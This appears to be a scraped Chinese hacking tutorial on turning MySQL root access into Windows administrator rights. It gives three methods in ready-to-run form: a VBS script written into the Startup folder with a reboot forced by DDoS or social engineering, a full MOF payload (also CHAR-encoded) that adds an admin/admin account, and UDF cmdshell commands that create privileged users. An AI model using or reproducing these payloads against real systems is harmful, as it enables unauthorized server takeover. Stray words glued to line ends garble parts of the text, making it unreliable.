通常是root權限,知道mysql root權限,root帳號密碼mysql
啓動項提權:
原理:利用高權限的root寫入一個vbs腳本到啓動項,再經過一些方法如ddos,社工管理員之類的方法來讓服務器重啓,運行腳本,達到提取目的
一、查看咱們進入數據庫中有些什麼數據表
mysql>show tables;
默認的狀況下,test中沒有任何表的存在。
如下爲關鍵的部分
二、在TEST數據庫下建立一個新的表;
mysql>create table a (cmd text);
好了,咱們建立了一個新的表,表名爲a,表中只存放一個字段,字段名爲cmd,爲text文本。
三、在表中插入內容
mysql>insert into a values (「set wshshell=createobject (「」wscript.shell」」)」);
mysql>insert into a values (「a=wshshell.run (「」cmd.exe /c net user 1 1 /add」」,0)」);
mysql>insert into a values (「b=wshshell.run (「」cmd.exe /c net localgroup Administrators 1 /add」」,0)」);
注意雙引號和括號以及後面的「0」必定要輸入!咱們將用這三條命令來創建一個VBS的腳本程序!
四、好了,如今咱們來看看錶a中有些什麼
mysql>select * from a;
咱們將會看到表中有三行數據,就是咱們剛剛輸入的內容,確認你輸入的內容無誤後,咱們來到下一步
五、輸出表爲一個VBS的腳本文件
mysql>select * from a into outfile 「c://docume~1//administrator//「開始」菜單//程序//啓動//digo8.vbs」;
6.重啓便可!web
Mof提權:
mysql mof漏洞介紹:
http://www.exploit-db.com/exploits/23083/
http://www.exploit-db.com/sploits/23083.zipsql
mof文件內容爲:shell
#pragma namespace(「\\\\.\\root\\subscription」)數據庫
instance of __EventFilter as $EventFilter
{
EventNamespace = 「Root\\Cimv2」;
Name = 「filtP2」;
Query = 「Select * From __InstanceModificationEvent 」
「Where TargetInstance Isa \」Win32_LocalTime\」 」
「And TargetInstance.Second = 5」;
QueryLanguage = 「WQL」;
};windows
instance of ActiveScriptEventConsumer as $Consumer
{
Name = 「consPCSV2」;
ScriptingEngine = 「JScript」;
ScriptText =
「var WSH = new ActiveXObject(\」WScript.Shell\」)\nWSH.run(\」net.exe user admin admin /add\」)」;
};服務器
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};spa
效果就是添加一個用戶admin密碼admin;ip
select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;get
效果就是添加一個用戶admin密碼admin; 管理組
SELECT CHAR(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,117,115,101,114,32,97,100,109,105,110,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) INTO dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
如今默認它仍是會過5s添加一次用戶,解決方法就是:
第一 net stop winmgmt 中止服務,
第二 刪除文件夾:C:\WINDOWS\system32\wbem\Repository\
第三 net start winmgmt 啓動服務
UDF提權,推薦暗月的一款腳本
固然也能夠dos下直接鏈接數據庫,執行下列語句,方法大同小異
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user iis_user 123!@#abcABC /add’);
select cmdshell(‘net localgroup administrators iis_user /add’);
select cmdshell(‘regedit /s d:web3389.reg’);
drop function cmdshell;
select cmdshell(‘netstat -an’);
我仍是那個帥氣的某某
qq2553083572